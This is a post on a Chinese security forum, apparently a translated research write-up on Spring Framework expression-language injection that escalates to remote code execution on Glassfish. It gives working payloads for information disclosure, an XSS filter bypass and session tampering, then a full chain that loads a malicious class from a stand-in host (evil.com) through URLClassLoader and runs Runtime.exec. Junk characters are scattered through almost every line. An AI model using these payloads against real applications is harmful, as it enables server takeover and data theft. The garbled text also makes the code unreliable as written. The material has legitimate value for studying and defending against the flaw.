找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
$ {% q7 [2 H  U* j3 ^$ P3 _Expression Language Injection
" `# m8 s. ~( o9 ^& n' ?Spring Framework脆弱性—DanAmodio
1 e% p, b! R, |* O* l; f全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中# s4 M+ g6 m6 i( e; |! }2 b
可能会存在风险。
* x1 ]- I$ ?8 n' k7 s: j) ~在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的+ Z8 o0 \+ D& I" Z& ^8 }
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
3 Y7 R* m  j8 S, a以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
2 U! P6 i* X5 J0 u8 K9 C以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
9 Z, I- f- g" q: O/ h版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
, Y- t2 n& p8 x由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但. N7 W* N: O/ g. N2 ~1 H
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版7 d3 P: p3 m# [) ^0 v/ ~/ `. ~, S0 H5 F( P
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
; W, k- s( z1 ^1 O, L8 J$ ?这些版本不支持禁用double EL resolution.
' ?; @8 e/ z; n9 }( y; H: N6 N( n这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 Y% e( {* j2 \  wEL2.2容器上可能进行远程代码执行。9 J9 ~- b% }# r2 D7 Q: N4 p
这是一个原始信息泄露的攻击例子:/ F/ X& S, n5 C- O" ]6 e
请求:
+ `( S, d" `# N* ]ttp://vulnerable.com/foo?message=${applicationScope}
+ z6 D6 t2 r  k* N; I# C到达以下内容页面:
. S, `2 d% g1 |8 }' Y结果将输出一些包含内部服务器信息calsspath 和本地工作目录2 U8 \, o: o6 z: k7 _: R' \( a5 W
你也可以做一些其他事情,如这样:
. _5 Q' d# b8 n/ f& [  F: [${9999+1}& d0 J" H$ {- E# Q1 r
还可以访问session 对象和beans9 a# H% E6 b$ x( K, l/ S4 ~: U/ O* v
${employee.lastName}$ L: y+ p+ Y! X: b6 Z* |
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
+ ^3 S* P# c% r' \EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东1 V1 Z% ?+ v) y6 V* \
西,比如XSS.
$ B9 l! m/ m% ^9 W2 W0 E$ W哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
! f! J9 n& q1 o7 M- w$ q突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
' W8 ^" P2 n# W, j2 A呢?”$ ~# x% O$ ^( J) K0 T- i7 y
因此,我尝试巳缦拢�
) ]4 p- ?1 b6 \+ t/ F' ^# C" g6 @: Phttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP& s, z. Z+ S4 H8 Q% P# C
P0 l! G' H! g* o4 ^# ~: X4 O. ^
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
- m# r8 f+ f1 ]' g- L5 ^回的文本被插入进了spring:message 标签。
: L6 o7 ?8 S7 M" [3 e8 @! }这里是一个最终绕过过滤的实例:
3 e! u9 I& O- A4 z  w: B- R4 ihttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
; o( [2 n5 w0 `% B它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为, Y0 [9 a3 G3 |, d4 ~- R& f
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?4 c" `, D, {9 r
经过一番研究,我学习到EL2.2 增加了方法调用。
- u! v1 Y& e  Y  T7 @+ p, C我写了一个快速测试应用程序代码并且检测一些功能
; R+ [* P- O( M; O${pageContext.request.getSession().setAttribute(“account”,”123456″)}
4 y- G( f2 s& o0 `${pageContext.request.getSession().setAttribute(“admin”,true)}2 n% l, G( X) x  O4 u* a, I
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的0 y3 g9 N; a  i/ R' {/ Q0 \: a
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?0 X; Y. q! E3 e- o0 [1 H
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
8 K5 `4 R" ~5 p0 V) b“, 1234)}
$ o2 Z5 u; T& ?& k3 D${“”.getClass().forName(“java.lang.Runtime”)}0 H5 H  S0 f4 o$ i: n
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不" r) o# p: _% w1 T* X1 ~( H
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函% p  r# W5 L3 T$ Y* h( @  q3 C1 U1 [
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有) |8 T2 M5 H4 K3 H' O" |) x
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
5 F! y: l9 q/ v0 _方法签名invoke(Object obj, Object„ args)
( i2 M3 w6 @7 \' Q7 E- \0 FJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
: H6 E/ a/ l2 T+ @4 Q2 |( V题,以让它可以工作起来。  a) r* J0 L7 M* F# |4 v# R" t
漏洞利用:  o8 [! w; G; T) `  D
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
' e& U# g8 x8 [, O- Z6 |: o希望你们中的一些JAVA奇才告诉我我是如此的可笑。
% q  X& Q& F' k这里有一些我试过的失败的用例,为了试图让它工作的用例:
9 _$ F! S9 w: x$ B5 q' Z 写文件到文件系统& h* e, u- F- W+ X
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
% u2 _, M4 E9 L1 z) L我认为这些可以很好的工作,但是我不能找到合适的类来载入。
. _5 S2 \; F5 c+ _" j# K! n7 j${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}4 F; S) x% J0 u
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
5 p! ^* |3 i9 q6 V- _5 t; d; N2 Worg.springframework.expression.spel.standard.SpelExpressionParser not found. d' W6 e5 Y# \$ [5 H7 ~
by2 D+ B& R! _$ y1 j7 K# N% k' Y, P
org.glassfish.web.javax.servlet.jsp [194].
6 G6 w$ }( G3 K 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public0 W4 ?/ P( j( U) Y
 利用反射来创建一个新的Runtime(and watch the world burn)
! P  r2 c8 s* H${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
5 `2 s. V4 \5 ^, e7 [: V(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
+ E' [% x# L: V; x6 I$ {0 _. }${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
5 G/ l' _8 Q. N+ |/ ?1 i. m# n 使用java.lang.ProcessBuilder
% V) o% m' C3 m- ^ 用表达式语言来评估表达式语言! m0 c: E+ X+ H- I4 w: S* V
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.* {- m" r% q& M) |+ x, F4 O* b: }, U
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
8 }: L& j) q  |. v3 R7 }# H“,”".getClass(),null)}
3 w) a$ _! Q. o 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂): ~3 o% ^' E. A  C
我在使用一个空数组通过Method.invoke()时失败了很多次
" \7 J+ ~3 P( Q. l6 h“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo$ h! ~: Y, n$ y) {2 b; m
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A/ M: d8 r8 b8 ~$ q2 z- g  e
rrayList”).newInstance().toArray()). g4 W( w9 l- c8 |) W# Z
java.lang.IllegalArgumentException: wrong number of arguments
! y$ R( r0 A' _  |% n9 q. v: {% M最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
& e, s5 j( i( ~! p5 Y  Z以创建一个恶意class文件并且指向类装载器.' z( d" v8 u4 ^% ]. k  C& v2 ?
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:  Z( Z' |8 T% X7 C; l7 d& h
public class Malicious {- Q6 u% F9 p! N$ v: v3 z3 G
public Malicious() {
# q$ h9 Z! N9 Wtry {  Z9 w# x, J  P3 M6 [( ]( ~
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac5 `' W8 B* S* z5 g/ m
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
: j/ Y+ Y4 k! J) k: P& Y  C, K} catch (Exception e) {
# m* W- L# P% E% u4 b& e# U* p}
" ^/ R0 `7 T% @- B" `. N}
( e! O4 a1 X$ ?我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
/ P( U7 a+ H1 Q7 F  c  L# a$ ?" Q, k话中,因此它可以被使用.
# @' d8 u" |4 }8 C6 t${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName7 l+ ^! P; U8 F8 f7 T& v  J. u
(“java.util.ArrayList”).newInstance())}% H1 r: a1 _6 K$ l& A
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建  N/ n0 z* r% G6 F6 z
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
% q9 C9 |- U+ h! kgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
' G7 Y, x  V' C  m/ j0 h& h我们可以调用的create(string)方法,然后转换对一个URL对象。( r- [, K/ D, {' _  m) Q) R) a
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh$ q. f' O+ C! M- j  V5 v
ere/malicious/classfile/is/located/”).toURL())}+ t* `$ T- V1 b9 ?+ y1 n3 q4 }
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
' d4 u& d, N% v! `6 ~. u1 o. c恶意类文件被装载并创建,触发远程代码.3 P/ c; @2 W2 ~. j" ~, |4 w
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
5 i& K0 D9 O( T+ X1 u( Bxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().: i$ U0 s* H8 h5 e
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance, O7 c) b4 ^/ W& O
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表